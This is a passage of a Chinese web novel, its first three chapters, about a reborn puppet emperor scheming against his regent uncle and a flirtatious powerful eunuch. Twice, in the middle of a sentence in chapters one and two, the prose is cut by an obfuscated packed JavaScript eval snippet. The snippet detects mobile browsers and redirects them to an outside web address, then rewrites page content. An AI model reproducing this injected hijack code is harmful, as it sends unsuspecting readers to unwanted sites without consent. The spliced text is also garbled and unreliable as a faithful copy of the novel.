《朕怀了九千岁的崽》 1. 第一章 上一刻还是大晴天,转瞬便被乌云压顶。淅沥沥的雨紧随而至,雨势迅速扩大,毫不留情地拍打着屋檐,风将院中嶙峋的枝桠吹得哗哗作响,穿堂而过时呼啸着卷入窗棂,不知是为谁敲响的丧钟。 赵熙意识逐渐模糊,半睁的眼望着外面的雨幕,视野倏然划过一抹绯色的衣角,盘绦纹连绵而上。 他视线试图顺势落去,眼皮终是抵不住那股无力感,颤颤巍巍地合拢,隐没入无尽黑暗。 这样的衣着在宫中并不鲜见,那人执掌的天御司中皆做此打扮,只盘绦纹中央环绕的图案各有不同而已。 可是,谁还会来此处,又不知奔至此处是为瞧他此时的狼狈,亦或嘲笑羞辱。不管对方因何而来,赵熙都已无力再想。 因为他要死了。 说来可笑。 细数往日种种,赵熙觉得自己约莫是北临开国以来最窝囊的一任帝王。 即便是圣祖时期内忧外患,也绝无似他这般……无权无势,甚至连自由也无的傀儡皇帝。 先帝昏聩,宦臣当道。即位后的赵熙欲与摄政王协同镇国大将军联合,妄将权柄夺回。 不料是他太过轻信,以为自己真的能抵过权势带给他们的诱惑,结果成了历代皇帝中被大臣们联合废掉的先例。 真真是可笑至极。 不过如此也好。 北临本就内忧外患,再经不起朝野动荡了。 赵熙最后想的是——若有来生,不再投生这帝王之家。 他只愿做个寻常百姓,安稳度过一生。 - 然而,没有什么安稳的来生。 当赵熙再次恢复意识,耳旁便适时传来已许久没听到过的尖细嗓音。 “陛下!陛下您终于醒了,快,快传太医!” 赵熙眼睫颤了颤,旋即睁开眸子,待透过那略敞的明黄色的床幔以及寝殿中的情形后,他的瞳孔不禁微微扩张了一瞬。 只见一张面白无须,犹如风干橘子皮般的脸孔正小心翼翼向他凑近,望着他喜极而泣。 看清这张脸,赵熙唇瓣翕动,吐出来的嗓音带着嘶哑,“福泉?” 福泉老脸开出一朵花,正要应声,“陛下唤奴、”后面的‘才’字还未出口,就挺赵熙继续。 “你还没死?”赵熙语气中明显带着困惑居多。 虽说最后他也死了,但福泉可走得比他早上不少。 此言一出,殿内齐刷刷跪了一片,尤其是福泉。 “陛、陛陛下,”福泉这下是真哭出来了,“是奴才没伺候好陛下才叫陛下受了寒,奴才该死,奴才该死,奴才、奴才这就去死……” ‘嘭嘭嘭’的磕头声不绝于耳,赵熙总算明白脑子里的那股昏沉感从何而来,然更让他感到震惊的是眼前发生的一切。 “如今是朝临几年?” 福泉停下磕头的动作,悄然抹去眼角飙出来的泪花朝龙床上瞟了一眼,心说这是不用去死了啊,嘴上忙不迭回禀道:“是朝临二年呀,陛下睡忘了。” 听到这个答案,赵熙唇线霎时抿紧。眼前的一切太过真实,加上原本已是油尽灯枯的他又重新感受到了体内传来的……生机。 赵熙抬指,修长如玉的指节在面前摊开,确实不复先前的枯瘦,指尖略微泛着些粉。 真的回来了。 朝临二年,离他被废还有两年。 登基四年被废,赵熙被囚禁深宫,他没能熬过那尤为酽冷的冬日。未承想还有再睁开眼的时候,竟还直接回到了朝临二年。 “呵……” 低低浅浅的笑音从床幔中透出,福泉心下惴惴,一只眼睛又悄悄睁开条缝,心中不由大着胆子忖度:陛下这是被他气笑了?那这死罪还治不治了? 福泉正思索是不是让底下人再催催太医快些过来给陛下看看,然比太医更早到的是另一道通传的声音。 “摄政王到——” 赵熙蓦然撑着手支起了上半身,眼神顷刻变得狠厉,更深的是怨恨。 随着小太监的通传声落下,继而是一连串的脚步声,那道沉而有力的脚步声格外突出,男人淳厚的声线响起,“陛下可安好?” 赵熙视线越过珠帘落向那黑底金边,绘着四爪龙纹的衣摆上,而后闭了闭眼,并未回答。上一世对方也曾在这时来探看,一番寒暄,尽显叔侄情义,但他现在并不想与对方再演一出‘叔侄情深’。 察觉到锐利的目光凝在自己身上,福泉跪着的膝盖打了个转,“回摄政王殿下,陛下刚刚醒来,奴才已命人去宣了太医。” 顾承玄视线收回,未再多给对方一个眼神,末了望向前方,贯来淡漠的眸中映着一纱之隔的床榻,缓缓启唇:“派人去催。” 福泉闻言正欲点头,喑哑的嗓音从榻上响起,简简单单、不冷不热的两个字,“不必。” 顾承玄眉梢动了动。 福泉眼尖,连忙弓腰驼背地倒退几步,又冲四周宫人挥了挥拂尘。 殿中众人鱼贯而出,唯余二人。顾承玄方才曼声道:“昭昭不想看太医?”没了旁人,他话语中便透出点难得的亲昵来,语气舒缓,仿若还含着几分长者面对小辈顽劣时的纵容。 昭昭,是赵熙的小名,母后在世时为他取的。 沉默在殿内蔓延,高大的玄色身影如同巍峨高山般难以逾越,赵熙眸底沁出寒霜。再度开口时却又显得那般无辜,唯有嗓子里还压着点他自己明白的讥讽,“皇叔在说什么?” 顾承玄,自幼便被高祖皇帝收养膝下,后封异姓王。及至先帝驾崩又授其摄政王封号,执掌右军,命辅佐新帝登基。 可本该在他登基后归还的权柄一直到他死后都没能收拢回来,赵熙心底满是冷笑。 顾承玄微抬下颌,脚尖一挪,墨色长靴朝床榻靠近。 瞥见他逐渐逼近的身影,赵熙掌下不自觉攥紧了锦被,饶是知道自己已然重生,眼下亦非冰冷孤寂的深宫,但他仍是被生理性的恐惧影响了刹那。赵熙咬住舌尖,滔天的怒焰便瞬间将之压了下去。 即此时,福泉那特有的嗓音传入寝殿,尾调稍显高昂,都有些劈叉了,“九千岁到——” 赵熙恢复冷淡的神情,顾承玄微顿,回首望去。 那人身着绛红色飞鱼服,双铊尾玉带,腰间别着的不是长剑而是折扇。一双狭长眼尾缀着胭脂红,格外妖邪,唇角似翘非翘地睨来,声线悠闲,“咱家来得倒是巧,摄政王殿下也在。” 同样是太监,约莫是那东西去得晚,故而声音不如福泉那般,反而低沉中隐含几分磁性。只是在赵熙听来,这声音中夹杂着些许阴阳怪气,还带了点急促的意味,他不适地蹙了下眉。 福泉跟在对方身后入了内殿,后面还跟了太医院的乌院使,跪下便是一礼,“臣参见陛下,见过摄政王。” 殿中来了外人,顾承玄恢复了那副生人勿近的架势,只对着来人略一颔首,旋即同乌院使淡声命令道:“还不快为陛下诊脉。” 观他这番作态,不知道的还以为他对圣上多关心。 落在赵熙心下只觉嘲讽,嘲讽自己的自作多情,以为这人待他是特殊的。对方便是如此,方才叫他将满心信任交付出去。 不待乌院使上前,赵熙便哑声开口:“滚。” 顾承玄拧眉。 福泉是真心急,担忧劝道:“陛下龙体要紧,还是、” 话音再度被打断,赵熙声调又冷了几分,“你也滚。” 福泉登时噤若寒蝉,乌院使则停下动作,只等着殿中另外两位发话。陛下不顾虑龙体,他们可不敢真就这么滚了。 赵熙半支着的身子又撑起来了些,瞧见乌院使往身旁侧了一眼,不由升腾起一丝怒焰,是天子的威严被触及的怒火。 这个乌院使曾是一名游方大夫,医术名扬四海,有天下第一神医的美名。后被先帝召入宫中,成了太医院院使。 但赵熙知道,这乌院使并非因为先帝入宫,而是另有其人。 即便他是九五之尊亦不能撼动那人在对方心中的地位。 赵熙视线朝旁掠去。 正在这时,先前那道悠闲的声线再度响起,一字一句,“陛下发话,还不快滚。” 微风从未合拢的门扉中偷溜进来,话落间拂起床幔一角,赵熙一瞬感受到了丝凉意,抬眼便同那双染朱的狭长凤眸对上。毫无预兆的,他撞上了后者眼底不加掩饰的迎合。 赵熙本就蹙着的禁不住皱得更紧,不适感又浓烈了些许。 比起他愿意交托信任的顾承玄,这人以一介阉人之姿,成为一人之下、万人之上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799361|175053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的九千岁,执掌京畿,东西二阁。赵熙从来都看不透他,更加不欲相信一个从先帝在时便开始挟势弄权,搅弄朝堂风云的阉人。 闻人寂。 这个人在他面前素来是一副俯首帖耳、卑躬屈膝的模样。 赵熙不明白自己身上有什么是他可以得到,亦或是利用的。一个手握重权的九千岁,何须向他一个傀儡皇帝如此这般,何况那时对方的权势已大到了连摄政王都可以不放在眼里。 所以,比之对顾承玄的恨,赵熙对闻人寂则更多了一层说不清、道不明的嫌恶。 他厌恶一切带着目的的接近,顾承玄上一世实在装得太好,叫他没能第一时间察觉,以至于被对方玩弄于鼓掌。 重生一回,赵熙谁都不会再信。 他顿了下,平和道:“皇叔,千岁也、走吧。” 埋着脑袋的福泉身形微微凝滞。 作为将陛下从小看到大的人,他隐约觉得陛下停顿的片刻中似咽下去什么话。 “如此,陛下好生歇息。”闻人寂略一弯唇,似心情极好,“摄政王殿下,走?” 顾承玄:“可。” - 两人相继出了大殿,福泉跟着送出去,回来手中捏着一个碧青色小玉瓶,“陛下,乌院使留了药丸,您吃一粒?”先前陛下受寒就是乌院使整的脉,想来是期间配了药。 一只纤细玉白的手从床幔间探出,撩开了一些许,赵熙面上染了些病气,望着那小玉瓶,唇瓣紧抿。 他自小便不喜汤药,药丸尚可接受,这一点赵熙并不曾与人说起过。那人究竟从何得知,又想以此来设计谋划些什么。 “陛下?”福泉忧心他心情被搅扰不愿吃药,正犹豫着想劝说。 赵熙阖目,须臾后开口:“呈上来吧。”这药是没问题的,既然能治身体那就没有扔掉的道理,他不会同自己的身子过不去,即使赵熙知道这药想必是乌院使受了人指使送来。 躬着身子的福泉顿时笑着应了声:“是!” 待宫人奉上温水,赵熙取出一粒褐色药丸合水吞服。福泉见他躺了回去,便踱上前将床幔重新拢上,静悄悄退出了寝殿。 赵熙半阖着眼,从病骨沉疴回到健康的身体,从那个破败萧索的深宫再回到这镂簋朱绂中,心绪一时难平。 不多时,许是在深宫幽禁养成的习惯让他第一时间捕捉到门扉被小心推开,以及随之而来的脚步声。 赵熙当是福泉又进来了,“朕无需人伺候。” “陛下可是睡不着?” 令他熟悉到身体下意识起了反应的声音钻入耳中,赵熙不悦道:“谁让你进来的。” 闻人寂口吻比之先前面对其他人时的闲适不同,仿似带了点讨好的意思,异常软和,“咱家只是想看看陛下身子如何了。” 这态度,着实让赵熙回忆起上一世闻人寂对他越来越予取予求的模样来。明明是个心黑手狠,杀人不眨眼的狠角色,偏对他这个傀儡皇帝做出奴颜媚骨之态,其用意让赵熙不得不警惕提防。 身处这个位置,稍一行差踏错,等待他的就是万劫不复。 事实亦是如此。 上一世是他信错人,导致帝位被废,早早身死。如今重活一世,身边一个可信之人也无,连太医都是他人安插的,危机藏在各个角落意欲将他吞噬。 赵熙思索间,脚步声近在咫尺。闻人寂的身影轮廓映照在明黄的床幔上,及至完全把他笼罩,赵熙出声,“走开。” 着急的嗓音含了点沙哑,闻人寂身形一滞,顺从地往后退去,“咱家退开了,陛下莫恼。” 听到他的话,赵熙沉了口气,“出去。” “好。”闻人寂应。 殿内寂静了瞬,赵熙又听他说:“出去前,咱家想看一看陛下。” 这回,声音轻缓,像是在哄人。 赵熙听得恼怒,心底更是有种强烈的不自在感,他起身一把便扯开了遮挡的纱幔。原本藏着病气的眼睛里雾蒙蒙,此刻如同燃了两簇火苗,苍白的面上眼下不知是不是气的,晕着薄红。 “看到了?” 对上闻人寂直勾勾看来的双目,赵熙纵然有所顾忌,现在却也不想继续憋着,于是拉起一点唇角,凉凉开口。 “看到了就滚。” 2. 第二章 赵熙觉得,闻人寂应当是病了。 且病得不轻。 否则,对方又怎会在听到他让他滚之后竟扬起嘴角,连眼神都明亮几分。 “陛下歇息吧,”闻人寂视线在他身上定了几息,唇边的笑意愈发深了点,“咱家这便滚。” 待人出去,那带着笑的嗓音似犹在耳畔,赵熙揉了下耳朵,少顷觉得不够。 又搓了两下脸。 闻人寂这才将手从脸上拿下,出了玉翔宫后他便甩开一众随行宫人行至这处无人拐角,低浅的笑声从他喉间溢出,无比满足。 不知是不是他的错觉,陛下今日待他似乎与往日有些许不同。 闻人寂唇动了动,仿佛压抑得很了,终于吐出二字。 “陛下……” “您醒了。”福泉立在龙床边,撩起一点帏帘,“陛下可是做噩梦了?” 先前九千岁来过之后陛下便歇下了,这才半个时辰他就听见殿内传出动静,急急忙忙进来察看。 赵熙额间沁出一层薄汗,身后也被打湿一片。 他梦到了上一世被废时的情形。 赤红的火光将周遭点亮,碧瓦朱甍、丹楹刻桷。衮衣之上龙纹被摇曳的光影衬得忽明忽暗,殿上赵熙静静下望,与立在一群提着刀枪火把的侍卫身前的顾承玄四目相对。 另一侧,是大将军蒋少离。 习惯于隐匿梁上的暗翊不见踪影,在他的身后,空无一人。 再次回想起那夜的孤立无援,赵熙仍会觉得身体发寒,以至于从梦中惊醒过来。瞥了瞥愁眉锁眼盯来的福泉,“朕无事。” 福泉还是放不下心,又要去取药丸。 赵熙却是没接,他眼眸沉了几分,忽而朝殿中招了招手,一袭黑色劲装的暗卫站在不见光的角落同夜色融为一体,“参见陛下。” 福泉默默往殿外。 陛下刚醒就召见暗卫,这他可听不得。 赵熙往角落扫去,声音冷得像是淬了冰,“暗翊何在?” 先帝驾崩前曾召见过他,给他留了一批暗卫,暗翊便是其中之一。 暗卫闻言难得迟疑,“陛下数日前派暗翊去了南岭,需半月后回。” 赵熙一顿,刚睡醒的脑子还有些混沌,梦境的上一世和现实的重生记忆交织,关于这段的记忆后知后觉回笼。 春分刚过他就遣了人前往南岭,只因春闱将至,赵熙得了消息——这次的会试,先帝在世时以一篇策论名扬天下的文士柳则沅不知何故亦会参加,他当即起了爱才之心。 赵熙登基时朝野动荡,好不容易觉得坐稳了皇位,遂得到顾承玄即几位辅政大臣的首肯后便开了恩科,正是用人之际。 柳则沅的出现无疑是他收拢人心的机会。 赵熙欲将之培养为心腹,所以先行派遣暗翊前往。 只是…… 柳则沅早在他之前就已被收复。 若他没猜错,顾承玄才是柳则沅真正效忠的人。 赵熙:“罢,让他回来。” 凝滞片刻,赵熙继续:“待他回宫,不必再在朕跟前伺候。” 这一决策明显突兀,暗卫向来只忠于帝王,暗翊更是赵熙在众多暗卫中一手提拔上来的。黑暗中的身影顿了顿,又闻一句。 “你叫什么?” “奴才行十。”暗卫都是没有名字的,皆以排行称呼。 而‘暗翊’,正是赵熙亲自赐名。 翊,原是辅佐、帮助之意。然对方辅佐的却另有其人,赵熙发出冷笑,“今后你便唤暗听。” 既做不到忠诚,那便只要听话即可。 暗卫怔住,殿中烛火晃了晃,落在蒙了面罩的脸上,“暗听谢主隆恩!” 赵熙将人挥退后又召了福泉进来,“明日召礼部尚书觐见。” 福泉躬身应‘是’,见他恢复了些精神,不自禁多嘴道:“陛下可是为了清明祭祖一事?” 他不提,赵熙都要忘了届时还要祭祖。 不止会试由礼部主持,清明祭祖等事宜同样落在礼部头上。故而这几日礼部尚书忙得晕头转向,不料圣上在此时召见。 收到旨意的礼部尚书袁康进入乾心殿,里面安静得出奇。一抹日光透过窗牖钻进来,只见微尘起伏,金色的影子斜斜落在御桌上,显出几分庄严肃穆。 他微微定神,视线落在地面,上前行礼,“微臣叩见陛下。” 自怀宁帝驾崩,袁康也曾被这位小皇帝召见过,可从未有哪次,让他这般不敢直视圣颜——虽说这是身为臣子本就该恪守的本分,但谁人不知新帝无权无势,不敬者大有人在。 眼下御桌后的年轻帝王纵一语未发,他亦生出了一股不敢造次的心理。 赵熙眼睫微垂,居高临下地睇向跪着的人,眼中浮起丝满意。他的脸上仍带着病气,唇瓣没什么血色,一张一合,缓和道:“爱卿不必多礼。” 袁康:“谢陛下。” “朕问你,春闱准备得如何?” 袁康还未答话,又听大内总管福泉在乾心殿外扬声道:“承和殿大学士、文渊殿大学士、武安殿大学士……觐见——” 袁康一个激灵,不多时,几位阁老便相继从外走了进来。 待几人行礼过后,赵熙淡然开口:“诸位卿家春闱会题出得如何了?” 说话间,他直直看向为首的承和殿大学士杨鸿,这位年过花甲依然精神矍铄,看起来比他还要健硕的老人,“杨老?” 杨鸿乃内阁首辅,表面上与摄政王顾承玄政见相合。然重生一回,拥有后世记忆的赵熙却清楚知道,杨鸿其实是不折不扣的保皇党! 当初他被废,杨鸿不惜舍弃‘明哲保身’这条原则,直接同顾承玄等人据理力争,虽然最后没能改变什么,可他却是看明白了对方的立场。 在他被废后不久,杨老更是毅然告老还乡,黄冠野服,不再参与朝廷纷争。 杨鸿没想到他会问起这个,“回陛下,臣等已将此次会题拟好,正待呈到摄政王殿下那里。” 若赵熙有实权在手,这些本该是呈到他这里的。 “哦?”赵熙颔首,“既如此,朕便再加一道题。” 此言一出,几位阁老面面相觑,袁康同样摸不准他的意思。 赵熙却没有接着解释的打算,“此事朕之后会同摄政王商议,都走吧。” 杨鸿这才点头,“是,臣等就先退下了。” - 等一行人退走,赵熙眯起眼,悠悠等待起来。 不出所料,少顷福泉便进殿禀报,“陛下,摄政王殿下求见。” “皇叔来了。”赵熙笑着去看走入乾心殿的人。 见状,福泉机灵地出去,顺道将门带上。 “胡闹。” 顾承玄进门,温沉的嗓音里隐含了丝责备,高大的身形将缂丝屏风透进来的淡淡光影掩去。薄螺钿镶嵌挂屏之上的兰花黯淡,赵熙面上笼着浅浅一层阴影,唇依旧弯着,“皇叔在说什么?” 是对方惯常讨好卖乖的语气,顾承玄视线落在他脸庞上。须臾,缓声道:“病还未好,为何不待在玉翔宫休息?” 他语带关心,赵熙闻言咳了咳,病气未消的面上更添恹色,叫人不忍苛责,“春闱将至,朕亦想替皇叔分忧。” 顾承玄深锁的眉松了松,冷硬的面容稍稍柔和,脚下一转,径自坐到了一旁的太师椅上,光晕重新落到赵熙颊侧。 “昭昭有这份心便够了。” “朕欲加一道试题,皇叔觉得呢?”赵熙忽而道。 顾承玄沉声:“会试不是闹着玩、” “朕只是觉得对皇叔有用。”赵熙打断,乌黑的睫羽耷拉下来,“皇叔不妨听一听?” 他望着顾承玄,在对方的默许下出言,“皇叔觉得,朕提出的时务策可否纳入会题?” 说罢,赵熙好整以暇地看去,毫不意外地瞥见了顾承玄眼底流露出的惊讶。 惊讶吧,这是前世你自己出的题。 只不过赵熙换了一副说辞,又将一些自己在上一世学到的东西纳入其中,变得更为完善。 饶是顾承玄情绪向来不外露,也确实被赵熙的言语打动,只觉许多地方都与他的想法不谋而合,“我竟不知,昭昭有如此大才。” 头一次,他正眼看向了赵熙。 对方高坐上首,许是因为风寒尚未完全恢复,身体略微往后倚去,整个人如同陷进了御座之中,更显单薄。 似乎比他记忆中时而安静温敛,时而爱娇耍赖的少年又多了点鲜活气。此刻正眨着眼朝他斜睨而来,眸底晕着细碎的光。 赵熙听到他的话嘴角一抽,察觉顾承玄目光看来,他抬手捂了捂额头,并不想再同对方对视下去,“朕头有些疼,福泉。” 门外竖着耳朵听到动静的福泉连忙进门,“陛下唤奴才。” “扶朕回去,”赵熙伸出手,“皇叔若是觉得可以便加进去,若是不行……唔,头更疼了。” 福泉:“哎哟,陛下身子本就不好,今日撑着病体召见诸位阁老……”他没有把话说下去,眼角余光小心地观察摄政王的表情。 赵熙心中喟叹,福泉不愧是看着他长大的。 道一句简在帝心也不为过。 “愣着做什么,还不送陛下回宫,”顾承玄起身,深邃的眸子从赵熙身上掠过,在那苍白面颊上停留了一刹,“陛下的建议,臣会考虑。” “那朕就谢过皇叔了。” 赵熙被福泉扶着离开乾心殿,踏出房门的刹那,微扬的语调被他遗落房内,送进顾承玄耳里。像是高兴了,声线里藏着的愉悦,明明白白展露出来。 “陛下在高兴见到咱家吗?” 前脚刚出乾心殿准备回玉翔宫的赵熙,后脚便同不知在廊下立了多久的闻人寂撞了个正着。后者半靠着漆红的廊柱,衬得眼尾的那抹朱红格外鲜艳。 赵熙抬了抬下颌,吊起眉梢,十分不给面子道:“千岁说错了。” 闻人寂听罢愣了愣,目光忍不住凝在那上挑起的眉眼间,久久流连。反应过来他话中之意后也不恼,“那陛下在高兴什么?” 想到对方先前刚从乾心殿出来,见过了顾承玄。闻人寂眼中漾开愠色,表情也变得阴郁起来。跟在他后方的宫人俱都屏声静气,唯恐九千岁发怒。 赵熙像是料到了闻人寂的变脸,只站在原地观赏,丝毫不觉有何可怖。饶是他不想回忆,也不得不承认,闻人寂虽心怀叵测,却从未在他面前拿乔过哪怕半分,可以说是任他搓圆捏扁。 所以赵熙与面对顾承玄时装腔作势的模样不同,面对闻人寂,他并未伪装出一副讨好的姿态,反而比之往日更显肆意张扬。 那便让他看看,这阉人的底线在何处。藏得这样深,若他踩上一踩,又当如何? 这副极尽谄媚奉承的姿态下,只怕是连他也无法想象到的腌臜。 思及此,赵熙不由在心底暗嗤。 他这样的傀儡皇帝,有什么值得这人如此虚情假意的。 无数阴暗到可怕的心理在闻人寂心下闪现,念及跟前的人,他又很快恢复如常,“看来,是咱家碍着陛下的眼了。” “没错。”赵熙毫不客气地接口。 没料到他会直接应下,闻人寂哑然。半晌,轻笑声从他口中响起,渐渐的,又变为朗笑、大笑。 福泉早在那句‘没错’落下开始就缩起了脖子,不明白圣上这是怎么了,怎么好像在跟九千岁过不去。 及至听到闻人寂的笑声传来,福泉大为不解。 “回宫。”赵熙转身,往另一边行去。 福泉挥了挥拂尘,领着一众宫人跟上,“陛下、陛下,您慢点,身子还没好呢,可经不起折腾哟……” - 兴许是真的被折腾到了,赵熙的身体一直快到祭祖那日都未见好,比之上一世恢复得慢上许多。 “后日便是祭祖仪式,陛下风寒未愈,这可怎生是好。”按照惯例,祭前三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799362|175053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日帝王需移居斋宫,沐浴更衣,荤腥禁食①。原本就有亏损的身体这两日未能得到补充,病才一直未见好转,可把福泉急坏了。 赵熙看他这两日守夜眼圈都熬红了,“不妨事,今日朕觉得身体已然大好,晚上不必你守夜了。” 福泉‘扑通’一声跪了下去,“谢陛下体恤,奴才还是想在御前当值,求陛下恩典。” 恳切的言辞令赵熙一怔,颇为动容,鼻尖甚至隐泛涩意。 从小到大,除了母后,福泉才是那个最关心他的人,甚至到死都…… “准了。” 福泉脸上露出喜色,入夜尽职尽责地守在殿外。一抹身影从夜色中走出,他辨认道:“你是暗翊?”暗卫中无需蒙面的只有一人。 来人一袭黑色劲装皱皱巴巴,像是赶了许多路,风尘仆仆的。暗翊冲他点了点头,出声时喉间干涩,“福泉公公,敢问陛下歇了吗?” 他刚从南岭赶回来,有许多话想问陛下。 比如为何要中断此次任务,又为何……不让他再在御前当值。 福泉还未答话,便看又一道黑影从檐上跃下,“陛下有旨,暗卫暗翊今后不必伺候御前。” 暗翊眸色沉了下来,“暗十,你让开,我要亲口问陛下。” “我叫暗听。”暗听一板一眼地重复:“陛下有旨,暗卫暗翊今后不必伺候御前。” 暗翊咬着牙根,脖颈青筋暴起,死死盯着暗听。他天生一双下垂的眸子,陛下曾笑说他长了一双狗狗眼,看人时不是分外凶狠就是格外可怜,如今还带着些连夜奔波的血丝。 平日里沉默寡言的人,此刻看着似要咬人。 暗听静立原地,脚下犹如扎了根一般,迎面对上暗翊的怒火,岿然不动。 “暗听、”暗翊低低吼了一声,正欲继续,只闻殿内传出一道声音,“进来。” 外面几人同时顿住,暗听扎根的脚底动了动,让出了位置。 暗翊悄声步入殿中,于榻前跪下,“陛下,属下回来了。” 赵熙平静望去,眸中不带一丝一毫的温度。 对于被他舍弃之人,他向来吝于施舍对方哪怕一个眼神。 若非留着这人还有用,赵熙恨不能手刃了对方。 叛臣贼子,定诛无宥②。 “陛下?”暗翊半垂着头,瞧不见榻前之人的表情,但他能感觉到圣上正在看着自己,于是继续:“陛下为何不让属下再侍奉左右?可是暗翊有哪里做得不好?” 话到最后竟还带了几丝颤抖。 然这都及不上当初赵熙看向空空如也的后背时的不可置信。 从始至终,都只有他一人。 明黄色锦缎长靴停在跟前,一股极浅淡的龙涎香气萦绕而来,暗翊头又低了低。 这是一副完全表示臣服的姿态,赵熙鞋底碾了碾地面,不答反道:“你方才那是抗旨?” 暗翊瞬间双手伏地,“属下不敢!” 谋逆之罪都敢犯,眼下倒是不敢了。 “是吗。”赵熙心中哼笑,眸光转动间,他缓缓启唇。 “若有半句假话,属下甘愿赴死。” 赵熙:“那便为朕去死。” 暗翊一怔,帝王冷淡的话语钻入耳中。 “朕要你去接近大将军,可做得到?” 将人安排出去,赵熙重新倚回榻边,正待阖目,外间就传来了福泉的声音,“陛下,九千岁求见。” 赵熙抬眸,脚步声由远及近,穿过珠帘,绯色蟒袍在烛光的映照下鲜红夺目。夜色笼在这人身后,如披挂上一层看不见也摸不着的黑纱。 “九千岁又来做什么?”这些日子,闻人寂日日过来,烦不胜烦。 但见他眉目低敛,唇畔挂着抹笑,依然是前两天那套说辞,“咱家来看看陛下的龙体是否康复……”话到这里停了停。 赵熙盯着人,没再回嘴说他又不是太医,来看这一趟有何用,只静待下文。 闻人寂嘴角弧度加深,对这冷淡落向自己的目光竟也生出几分享受来,徐徐道:“顺便,来讨个赏。” “讨赏?”赵熙挑眉。 闻人寂:“听闻陛下欲再加一道时务策,咱家不才,为陛下办妥了。” 说话间,他的视线直直朝他黏了过来,明晃晃写着‘邀功’二字。 赵熙稍有意外,没想到闻人寂会这么做,难怪这两日来去匆匆,话里行间却都在意有所指。 二人目光相对片刻,赵熙别过脸,“朕让你办了吗?” 但不可否认的是,倘若没有闻人寂的运作,即便他出的题与顾承玄的想法不谋而合,对方亦会因为顾忌着他选择将之压下。 而赵熙想要在此次会试中掺一脚,也正是要从里选出能为他所用的人才。 犹记得上一世殿试中,顾承玄出题考校,琼林宴上更是将不少文官、士子笼络了去,一时间受尽推崇。 如今他重活一世,先机占尽,只要操作得当,何愁除不尽君侧之恶。 心中闪过思绪千百,面上却仅过了一瞬,赵熙听见一道喘息,很低很浅,若不仔细怕是会将其错漏。他的眼神随之转过去,视野里,闻人寂的喉头轻轻滚了两下。 明明是个阉人,偏喉结比他见过的所有男人都要大上许多,凸出来十分明显,就那么在他眼前滑动着。 “陛下没有,是咱家自个想为陛下分忧。”再度开口,闻人寂声音带了点哑,他道:“那陛下不赏吗?” 他音调放得很轻,似在示弱,又像是在……乞求。 二人原是一站一坐,赵熙低下眼的一瞬间,闻人寂半跪下来,膝头挨着床榻。他的角度从略抬着下巴的仰视转为了俯视着半跪的人。 真丑陋啊。 就这么迫不及待想从他这里要好处。 赵熙扬起手,指节往前探了探,搭在凑上来的俊脸上,而后轻一拍,‘啪’一声伴随着冷冰冰的话语从那淡色的唇瓣中吐出。 “不赏。” 3. 第三章 福泉等在殿外,不多时,身着绯红蟒袍的人影出来。‘九千岁’三字来不及出口,对方已然大步离开,一只宽大手掌覆在面上,将神色掩去。 廊下烛光闪了闪,他仅看到九千岁脸上露出的部分乃至脖颈尽皆被绯色蔓延,隐约可见青色血管在颈间鼓动,无端显出点狰狞来。 触及此,福泉慌忙收回视线,并未注意到那骨节分明的指缝间猩红了的眸中几欲喷薄而出的欲气。 瞥见闻人寂顷刻染上血色的眸子,赵熙落下去的手一顿。原本还乖乖跪在跟前的人倏然站了起来,动作间下颌擦过他的掌心,好像是被挠了一下。 赵熙拧了下眉,片刻才被身边的动静唤回神。 闻人寂…… “九千岁走了,”福泉从门外小心翼翼地走入,紧张道,“陛下没事吧?”担心两人方才在殿中起了冲突,他上上下下打量了赵熙一番。 “无事。”赵熙抿唇,指尖收拢于掌心,继而眸光在殿内游移。 须臾,他同福泉吩咐几句。 福泉心领神会地点点头,这才朝殿外唤了一声:“来人,伺候陛下更衣。” “该就寝了,”近侍上前,“您已经在这吹了快半个时辰的冷风,再吹下去怕是要得风寒。” ‘风寒’二字甫一跃入脑海,闻人寂想的是——如此,他便能和陛下一样了。 “那就得吧。”闻人寂轻飘飘道。 眼下时节正好,夜间的风却仍带着几丝凉意,将面庞笼着的热意压下。他幽深的眸光朝远方落去,脸上似还残留着那光滑的触感,如玉的指尖仿佛又重新搭放到了他颊侧,轻轻拍击,燥热仿佛再次袭来。 如此反复煎熬中,闻人寂愉悦的心情在看到福泉捧着一个紫光檀嵌螺钿的锦盒走来时,更是攀上了另一个高峰。 “见过九千岁、”福泉捧着锦盒的手微微颤抖,看向闻人寂时额角沁出细汗。 陛下命他送东西前来给九千岁,但也没说是送这个啊! 闻人寂视线径直落到他手中的锦盒上,不等人说完就道:“福总管拿的这是?” 换做别人称呼他‘福总管’,福泉这会怕是立马就竖起兰花指冲人点去了,这会却只恨自己没能多长出一只手来擦拭额前将要滴落的冷汗,“这、这个是陛下赏…赐给九千岁的。” 话音刚落,福泉便觉手中一轻,再看去时自己手上空空如也,锦盒已然落到九千岁手里。盒子打开时发出的‘咔哒’声传来,他禁不住闭上了眼睛。 按理说陛下赏赐不应直接打开,但这位想看谁又能阻止,遑论陛下似乎早有预料…… 锦盒打开,只见一块香色绸绣花方帕叠得整整齐齐地躺在盒中,附着一缕清幽暗香,似有若无地漂浮在空气中,叫人忍不住拿起来置于鼻端深嗅,闻人寂握在锦盒上的手紧了紧。 福泉深深埋头,想到陛下在他离开前说的那句‘恩威并施’,说话声轻不可闻,“这是陛下……方才擦手用的。” 